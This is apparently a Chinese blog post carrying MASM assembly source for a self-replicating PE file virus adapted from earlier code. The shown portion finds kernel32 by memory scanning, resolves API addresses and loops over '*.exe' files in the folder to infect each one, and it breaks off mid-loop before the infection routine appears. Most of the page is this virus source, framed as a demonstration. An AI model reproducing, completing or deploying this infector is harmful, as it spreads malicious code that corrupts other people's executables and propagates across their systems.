PE文件病毒感染示例

本文档提供了一个PE文件病毒感染的示例代码,包括查找API地址、感染文件和修改PE头的过程。通过阅读代码,可以了解病毒如何感染PE文件,并展示了一种简单的病毒传播机制。
摘要由CSDN通过智能技术生成

;本程序修改自hume的代码,其版权信息如下:

CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"

 

 

;------------------------------------------------------------------------------------------------------------------------

;main.asm代码

;-----------------------------------------------------------------------------------------------------------------------

.586 
.model flat, stdcall 
option casemap :none  ; case sensitive 
include windows.inc
include user32.inc
include comctl32.inc 
includelib comctl32.lib
includelib user32.lib
;;-------------- 

GetApiA        proto    :DWORD,:DWORD 

;;-------------- 
  .CODE 
  _Start0:
  invoke InitCommonControls
  jmp __Start
VirusLen        =  vEnd-vBegin                ;Virus 长度 
vBegin: 
;----------------------------------------- 
include s_api.asm                ;查找需要的api地址 
;----------------------------------------- 

fsize          dd ? 
hfile          dd ? 
hMap            dd ? 
pMem            dd ? 
;----------------------------------------- 
pe_Header      dd ? 
sec_align      dd ? 
file_align      dd ? 
newEip          dd ? 
oldEip          dd ? 
oldEipTemp      dd ?
inc_size        dd ? 
oldEnd          dd ?


hFind           dd ?
sFindData       WIN32_FIND_DATA <?>
 
readSize        dd 0
readBuff        db 10 dup(0)
;-----------------------------------------
sFindStr        db "*.exe",0

sMessageBoxA                            db "MessageBoxA",0 

aMessageBoxA                    dd 0 

;;临时变量... 
sztit                   db "病毒演示",0
szMsg                   db "感染此病毒的程序会显示该信息",0dh,0ah 
                        db "同时具有再感染其它程序的功能",0dh,0ah
                        db "病毒代码长度:(HEX)"
val                     dd 0,0,0,0 
;;----------------------------------------- 

__Start:
      call    _gd 
_gd:   
      pop    ebp                            ;得到delta地址 
      sub    ebp,offset _gd                 ;因为在其他程序中基址可能不是默认的所以需要重定位 
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想 
     
  mov    eax,[esp]                          ;返回地址 
      xor    edx,edx 
getK32Base: 
      dec    eax                            ;逐字节比较验证 
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte 
      jnz    getK32Base                      ;加速检验 
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] 
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值, 
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值 
             lea    edi,[ebp+aGetModuleHandle] 
      lea    esi,[ebp+lpApiAddrs] 
lop_get: 
      lodsd 
      cmp    eax,0 
      jz      End_Get 
      add    eax,ebp 
      push    eax 
      push    dword ptr [ebp+k32Base] 
      call    GetApiA                         
      stosd 
      jmp    lop_get                          ;获得api地址,参见s_api文件                       
End_Get:  
      include dislen.asm
find_start:
      lea    eax,[ebp+sFindData]
      push   eax
      lea    eax,[ebp+sFindStr]
      push   eax
      call   [ebp+aFindFirstFile]
      mov    [ebp+hFind],eax
      cmp    eax,INVALID_HANDLE_VALUE
      je     find_exit
find_next:
     
      call    my_infect
      lea    eax,[ebp+sFindData]
      push   eax
      push   [ebp+hFind]
     

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值